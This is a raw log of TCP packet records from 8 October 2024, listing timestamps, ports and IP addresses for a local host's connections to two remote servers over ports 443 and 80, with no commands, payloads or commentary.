Oct 8, 2024 03:24:07.075269938 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.075288057 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.075299025 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.180771112 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:07.186691999 CEST	80	49702	62.204.41.150	192.168.2.10
Oct 8, 2024 03:24:07.186832905 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:07.192084074 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:07.196970940 CEST	80	49702	62.204.41.150	192.168.2.10
Oct 8, 2024 03:24:07.315220118 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.315277100 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.315522909 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.315531015 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.315576077 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.315679073 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.323477983 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.323529005 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.323610067 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.324842930 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.324867964 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.325597048 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.325628042 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.325922012 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.325939894 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.326505899 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.326515913 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.326632023 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.326800108 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.326812983 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.328211069 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.328237057 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.328330040 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.328458071 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.328469992 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.774704933 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:07.976013899 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.977297068 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.977297068 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.977318048 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.977336884 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.980139017 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.980520964 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.980549097 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.981231928 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.981239080 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.982605934 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.983015060 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.983026028 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.983444929 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.983452082 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.983494043 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.983987093 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.984013081 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.984494925 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.984500885 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.005707979 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.006170034 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.006184101 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.006607056 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.006612062 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.076634884 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.076714993 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.076843977 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.077529907 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.077529907 CEST	49703	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.077553988 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.077563047 CEST	443	49703	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.083554029 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.083570957 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.083625078 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.083645105 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.084134102 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.084191084 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.085644007 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.085691929 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.085844994 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.085863113 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.085874081 CEST	49707	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.085880041 CEST	443	49707	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.085892916 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.085980892 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.085994005 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.088054895 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.088074923 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.088123083 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.088145018 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.088174105 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.088737011 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.088743925 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.088764906 CEST	49704	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.088769913 CEST	443	49704	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.089159012 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.089195967 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.089262009 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.089551926 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.089566946 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.091243029 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.091249943 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.091296911 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.091468096 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.091480970 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.093480110 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.093642950 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.093693972 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.093791962 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.093805075 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.093813896 CEST	49706	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.093817949 CEST	443	49706	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.096494913 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.096513987 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.096677065 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.096865892 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.096879005 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111089945 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111112118 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111159086 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.111167908 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111207008 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.111212969 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111258984 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111298084 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.111347914 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.111351967 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.111365080 CEST	49705	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.111368895 CEST	443	49705	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.113795996 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.113847971 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.113913059 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.114044905 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.114059925 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.720129967 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.720798969 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.720813036 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.721652985 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.721661091 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.741038084 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.741607904 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.741621971 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.742003918 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.742011070 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.755733967 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.756170988 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.756197929 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.756660938 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.756680965 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.776655912 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.777064085 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.777081966 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.777679920 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.777684927 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.783876896 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.784213066 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.784231901 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.784754992 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.784759998 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.820276022 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.820354939 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.820420980 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.820668936 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.820668936 CEST	49708	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.820692062 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.820707083 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.823524952 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.823571920 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.823729038 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.823868036 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.823884964 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.844100952 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.844264984 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.844310999 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.844445944 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.844446898 CEST	49711	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.844461918 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.844475031 CEST	443	49711	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.847162962 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.847193003 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.847269058 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.847465038 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.847475052 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.859565020 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.859620094 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.859672070 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.859781027 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.859798908 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.859808922 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.859813929 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.862319946 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.862353086 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.862415075 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.862548113 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.862560987 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.878170967 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.878228903 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.878269911 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.878386021 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.878391981 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.878400087 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.878403902 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.881722927 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.881757021 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.881831884 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.882030010 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.882046938 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.891836882 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.891889095 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.891932964 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.892098904 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.892105103 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.892116070 CEST	49710	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.892119884 CEST	443	49710	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.894270897 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.894296885 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.894390106 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.894507885 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:08.894534111 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:08.918643951 CEST	80	49702	62.204.41.150	192.168.2.10
Oct 8, 2024 03:24:08.918697119 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:08.922218084 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:08.927087069 CEST	80	49702	62.204.41.150	192.168.2.10
Oct 8, 2024 03:24:09.454783916 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.455334902 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.455354929 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.455796957 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.455801964 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.466948986 CEST	80	49702	62.204.41.150	192.168.2.10
Oct 8, 2024 03:24:09.467010021 CEST	49702	80	192.168.2.10	62.204.41.150
Oct 8, 2024 03:24:09.486308098 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.486912966 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.486943960 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.487513065 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.487518072 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.509234905 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.509679079 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.509690046 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.510287046 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.510291100 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.542028904 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.542098045 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.542613983 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.542654037 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.542670965 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.542678118 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.543344021 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.543344021 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.543358088 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.543366909 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.553086996 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.553136110 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.553244114 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.553412914 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.553412914 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.553431034 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.553440094 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.556385994 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.556425095 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.556493998 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.556622028 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.556637049 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.585745096 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.585809946 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.585855007 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.585999012 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.586014986 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.588196993 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.588237047 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.588409901 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.588582993 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.588598967 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.609919071 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.609987020 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.610182047 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.610224009 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.610238075 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.610248089 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.610253096 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.612215996 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.612251997 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.612531900 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.612531900 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.612572908 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.643345118 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.643585920 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.643738985 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.643738985 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.643810034 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.643824100 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.645850897 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.645890951 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.646840096 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.646950006 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.646961927 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.652906895 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.652956963 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.653078079 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.653209925 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.653209925 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.653219938 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.653238058 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.681955099 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.681988955 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:09.682048082 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.682240963 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:09.682256937 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.165396929 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.197406054 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.197417021 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.199645042 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.199651003 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.216779947 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.217243910 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.217282057 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.217854977 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.217861891 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.285974026 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.319606066 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.320353031 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.320420027 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.320489883 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.322611094 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.322926044 CEST	443	49720	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.324215889 CEST	49720	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.332832098 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.332843065 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.333239079 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.333244085 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.333515882 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.333532095 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.333971024 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.333976984 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.334192038 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.334192038 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:10.334208965 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.334218025 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:10.335330963 CEST	49720	443	192.168.2.10	13.107.246.60
